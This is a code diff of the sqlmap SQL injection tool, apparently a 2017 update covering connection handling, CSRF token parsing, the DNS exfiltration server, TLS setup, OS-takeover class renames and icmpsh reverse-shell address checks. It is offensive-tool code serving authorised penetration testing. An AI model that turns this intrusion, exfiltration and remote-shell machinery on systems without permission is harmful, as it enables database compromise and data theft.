                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
@@ -484,43 +483,49 @@ class Connect(object):
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

-                code = code or conn.code
+                code = code or (conn.code if conn else None)
                responseHeaders = conn.info()
                responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg)

-            if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
-                refresh = extractRegexResult(META_REFRESH_REGEX, page)
+            kb.connErrorCounter = 0

-                debugMsg = "got HTML meta refresh header"
-                logger.debug(debugMsg)
+            if not refreshing:
+                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip()

-                if kb.alwaysRefresh is None:
-                    msg = "sqlmap got a refresh request "
-                    msg += "(redirect like response common to login pages). "
-                    msg += "Do you want to apply the refresh "
-                    msg += "from now on (or stay on the original page)? [Y/n]"
-                    choice = readInput(msg, default="Y")
+                if extractRegexResult(META_REFRESH_REGEX, page):
+                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

-                    kb.alwaysRefresh = choice not in ("n", "N")
+                    debugMsg = "got HTML meta refresh header"
+                    logger.debug(debugMsg)

-                if kb.alwaysRefresh:
-                    if re.search(r"\Ahttps?://", refresh, re.I):
-                        url = refresh
-                    else:
-                        url = urlparse.urljoin(url, refresh)
+                if refresh:
+                    if kb.alwaysRefresh is None:
+                        msg = "sqlmap got a refresh request "
+                        msg += "(redirect like response common to login pages). "
+                        msg += "Do you want to apply the refresh "
+                        msg += "from now on (or stay on the original page)? [Y/n]"
+                        choice = readInput(msg, default="Y")

-                    threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
-                    kwargs['refreshing'] = True
-                    kwargs['url'] = url
-                    kwargs['get'] = None
-                    kwargs['post'] = None
+                        kb.alwaysRefresh = choice not in ("n", "N")

-                    try:
-                        return Connect._getPageProxy(**kwargs)
-                    except SqlmapSyntaxException:
-                        pass
+                    if kb.alwaysRefresh:
+                        if re.search(r"\Ahttps?://", refresh, re.I):
+                            url = refresh
+                        else:
+                            url = urlparse.urljoin(url, refresh)
+
+                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
+                        kwargs["refreshing"] = True
+                        kwargs["url"] = url
+                        kwargs["get"] = None
+                        kwargs["post"] = None
+
+                        try:
+                            return Connect._getPageProxy(**kwargs)
+                        except SqlmapSyntaxException:
+                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
@@ -563,7 +568,7 @@ class Connect(object):
            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
-                logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+                logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])

            logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))

@@ -574,7 +579,8 @@ class Connect(object):
            elif conf.verbose > 5:
                responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])

-            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+            if not multipart:
+                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code == httplib.UNAUTHORIZED and not conf.ignore401:
                errMsg = "not authorized, try to provide right HTTP "
@@ -590,7 +596,7 @@ class Connect(object):
                    processResponse(page, responseHeaders)
            elif ex.code == httplib.GATEWAY_TIMEOUT:
                if ignoreTimeout:
-                    return None, None, None
+                    return None if not conf.ignoreTimeouts else "", None, None
                else:
                    warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
                    if threadData.retriesCount < conf.retries and not kb.threadException:
@@ -615,14 +621,21 @@ class Connect(object):
            elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg:
                warnMsg = "connection was forcibly closed by the target URL"
            elif "timed out" in tbMsg:
-                singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
-                conf.disablePrecon = True
+                if not conf.disablePrecon:
+                    singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)")
+                    conf.disablePrecon = True
+
+                    if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
+                        kb.responseTimes.clear()

                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
-                    singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
+                    singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
                warnMsg = "connection timed out to the target URL"
            elif "URLError" in tbMsg or "error" in tbMsg:
                warnMsg = "unable to connect to the target URL"
+                match = re.search(r"Errno \d+\] ([^>]+)", tbMsg)
+                if match:
+                    warnMsg += " ('%s')" % match.group(1).strip()
            elif "NTLM" in tbMsg:
                warnMsg = "there has been a problem with NTLM authentication"
            elif "BadStatusLine" in tbMsg:
@@ -641,16 +654,28 @@ class Connect(object):
            else:
                warnMsg = "unable to connect to the target URL"

-            if "BadStatusLine" not in tbMsg:
+            if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += " or proxy"

+            with kb.locks.connError:
+                kb.connErrorCounter += 1
+
+                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
+                    message = "there seems to be a continuous problem with connection to the target. "
+                    message += "Are you sure that you want to continue "
+                    message += "with further target testing? [y/N] "
+                    kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
+
+                if kb.connErrorChoice is False:
+                    raise SqlmapConnectionException(warnMsg)
+
            if silent:
                return None, None, None
            elif "forcibly closed" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
-                return None, None, None
+                return None if not conf.ignoreTimeouts else "", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += ". sqlmap is going to retry the request"
                if not retrying:
@@ -690,7 +715,7 @@ class Connect(object):
            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)

        if responseHeaders:
-            logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
+            logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])

        if not skipLogTraffic:
            logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
@@ -700,7 +725,8 @@ class Connect(object):
        elif conf.verbose > 5:
            responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])

-        logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
+        if not multipart:
+            logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code

@@ -788,9 +814,20 @@ class Connect(object):
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
-                if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
-                    payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
-                    value = agent.replacePayload(value, payload)
+                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode:
+                    skip = False
+
+                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE:
+                        if kb.cookieEncodeChoice is None:
+                            msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]")  # Reference: https://support.microsoft.com/en-us/kb/313282
+                            choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N')
+                            kb.cookieEncodeChoice = choice.upper().strip() == "Y"
+                        if not kb.cookieEncodeChoice:
+                            skip = True
+
+                    if not skip:
+                        payload = urlencode(payload, '%', False, place != PLACE.URI)  # spaceplus is handled down below
+                        value = agent.replacePayload(value, payload)

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)):
@@ -827,9 +864,13 @@ class Connect(object):

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
+        elif place == PLACE.GET:  # Note: for (e.g.) checkWaf() when there are no GET parameters
+            get = value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
+        elif place == PLACE.POST:
+            post = value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value
@@ -853,20 +894,31 @@ class Connect(object):
            uri = conf.url

        if value and place == PLACE.CUSTOM_HEADER:
-            auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
+            if value.split(',')[0].capitalize() == PLACE.COOKIE:
+                cookie = value.split(',', 1)[1]
+            else:
+                auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]

        if conf.csrfToken:
            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString
-                match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
+                match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
                if match:
-                    retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
+                    retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
+                else:
+                    match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
+                    if match:
+                        retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
                return retVal

            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
            match = re.search(r"<input[^>]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "")
            token = (match.group(2) or match.group(3) or match.group(4)) if match else None

+            if not token:
+                match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "")
+                token = match.group(1) if match else None
+
            if not token:
                if conf.csrfUrl != conf.url and code == httplib.OK:
                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
@@ -876,7 +928,7 @@ class Connect(object):
                    for _ in conf.cj:
                        if _.name == conf.csrfToken:
                            token = _.value
-                            if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
+                            if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                if post:
                                    post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token)
                                elif get:
@@ -958,7 +1010,7 @@ class Connect(object):

            while True:
                try:
-                    compiler.parse(conf.evalCode.replace(';', '\n'))
+                    compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n')))
                except SyntaxError, ex:
                    original = replacement = ex.text.strip()
                    for _ in re.findall(r"[A-Za-z_]+", original)[::-1]:
@@ -1048,7 +1100,7 @@ class Connect(object):
                dataToStdout(" (done)\n")

            elif not kb.testMode:
-                warnMsg = "it is very important to not stress the network adapter "
+                warnMsg = "it is very important to not stress the network connection "
                warnMsg += "during usage of time-based payloads to prevent potential "
                warnMsg += "disruptions "
                singleTimeWarnMessage(warnMsg)
@@ -1107,7 +1159,7 @@ class Connect(object):
                warnMsg = "site returned insanely large response"
                if kb.testMode:
                    warnMsg += " in testing phase. This is a common "
-                    warnMsg += "behavior in custom WAF/IDS/IPS solutions"
+                    warnMsg += "behavior in custom WAF/IPS/IDS solutions"
                singleTimeWarnMessage(warnMsg)

        if conf.secondOrder:
@@ -1115,6 +1167,7 @@ class Connect(object):

        threadData.lastQueryDuration = calculateDeltaSeconds(start)
        threadData.lastPage = page
+        threadData.lastCode = code

        kb.originalCode = kb.originalCode or code

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -24,6 +24,7 @@ from lib.core.dicts import SQL_STATEMENTS
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
+from lib.core.enums import TIMEOUT_STATE
 from lib.core.settings import UNICODE_ENCODING
 from lib.utils.timeout import timeout

@@ -51,13 +52,18 @@ def direct(query, content=True):
    start = time.time()

    if not select and "EXEC " not in query.upper():
-        _ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
+        timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
    elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
-        output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
-        hashDBWrite(query, output, True)
+        output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
+        if state == TIMEOUT_STATE.NORMAL:
+            hashDBWrite(query, output, True)
+        elif state == TIMEOUT_STATE.TIMEOUT:
+            conf.dbmsConnector.close()
+            conf.dbmsConnector.connect()
    elif output:
        infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
        logger.info(infoMsg)
+
    threadData.lastQueryDuration = calculateDeltaSeconds(start)

    if not output:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -62,7 +62,10 @@ class DNSServer(object):
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()
-        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        try:
+            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
+        except AttributeError:
+            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
@@ -1,12 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import distutils.version
 import httplib
+import re
 import socket
 import urllib2

@@ -47,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):

        # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
        #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
            for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                try:
                    sock = create_sock()
@@ -87,8 +88,9 @@ class HTTPSConnection(httplib.HTTPSConnection):

        if not success:
            errMsg = "can't establish SSL connection"
-            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.10"):
-                errMsg += " (please retry with Python >= 2.7.10)"
+            # Reference: https://docs.python.org/2/library/ssl.html
+            if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"):
+                errMsg += " (please retry with Python >= 2.7.9)"
            raise SqlmapConnectionException(errMsg)

 class HTTPSHandler(urllib2.HTTPSHandler):
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -57,7 +57,7 @@ from lib.techniques.union.use import unionUse
 def _goDns(payload, expression):
    value = None

-    if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
+    if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
        if kb.dnsTest is None:
            dnsTest(payload)

@@ -284,7 +284,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

-    return ", ".join(output for output in outputs) if not isNoneValue(outputs) else None
+    return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None

 def _goBooleanProxy(expression):
    """
@@ -293,7 +293,7 @@ def _goBooleanProxy(expression):

    initTechnique(kb.technique)

-    if conf.dnsName:
+    if conf.dnsDomain:
        query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
        query = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
@@ -364,7 +364,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
        if conf.direct:
            value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)

-        elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
+        elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
            query = cleanQuery(expression)
            query = expandAsteriskForColumns(query)
            value = None
@@ -413,7 +413,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                    count += 1
                    found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

-                if found and conf.dnsName:
+                if found and conf.dnsDomain:
                    _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
                    warnMsg = "option '--dns-domain' will be ignored "
                    warnMsg += "as faster techniques are usable "
@@ -432,7 +432,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
                found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

            if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
-                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", expression)) if re.search(r"(?i)SELECT.+FROM", expression) else None
+                kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None

                if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
                    kb.technique = PAYLOAD.TECHNIQUE.TIME
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -71,7 +71,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):

    def http_error_302(self, req, fp, code, msg, headers):
        content = None
-        redurl = self._get_header_redirect(headers)
+        redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None

        try:
            content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -25,13 +25,13 @@ from lib.core.shell import autoCompletion
 from lib.request import inject
 from lib.takeover.udf import UDF
 from lib.takeover.web import Web
-from lib.takeover.xp_cmdshell import Xp_cmdshell
+from lib.takeover.xp_cmdshell import XP_cmdshell


-class Abstraction(Web, UDF, Xp_cmdshell):
+class Abstraction(Web, UDF, XP_cmdshell):
    """
    This class defines an abstraction layer for OS takeover functionalities
-    to UDF / Xp_cmdshell objects
+    to UDF / XP_cmdshell objects
    """

    def __init__(self):
@@ -40,7 +40,7 @@ class Abstraction(Web, UDF, Xp_cmdshell):

        UDF.__init__(self)
        Web.__init__(self)
-        Xp_cmdshell.__init__(self)
+        XP_cmdshell.__init__(self)

    def execCmd(self, cmd, silent=False):
        if self.webBackdoorUrl and not isStackingAvailable():
@@ -1,11 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import os
+import re
+import socket
 import time

 from extra.icmpsh.icmpsh_m import main as icmpshmaster
@@ -54,15 +56,29 @@ class ICMPsh:
        if self.localIP:
            message += "[Enter for '%s' (detected)] " % self.localIP

-        while not address:
-            address = readInput(message, default=self.localIP)
+        valid = None
+        while not valid:
+            valid = True
+            address = readInput(message, default=self.localIP or "")
+
+            try:
+                socket.inet_aton(address)
+            except socket.error:
+                valid = False
+            finally:
+                valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None

            if conf.batch and not address:
                raise SqlmapDataException("local host address is missing")
+            elif address and not valid:
+                warnMsg = "invalid local host address"
+                logger.warn(warnMsg)

        return address

    def _prepareIngredients(self, encode=True):
+        self.localIP = getattr(self, "localIP", None)
+        self.remoteIP = getattr(self, "remoteIP", None)
        self.lhostStr = ICMPsh._selectLhost(self)
        self.rhostStr = ICMPsh._selectRhost(self)

--- a/Show More
+++ b/Show More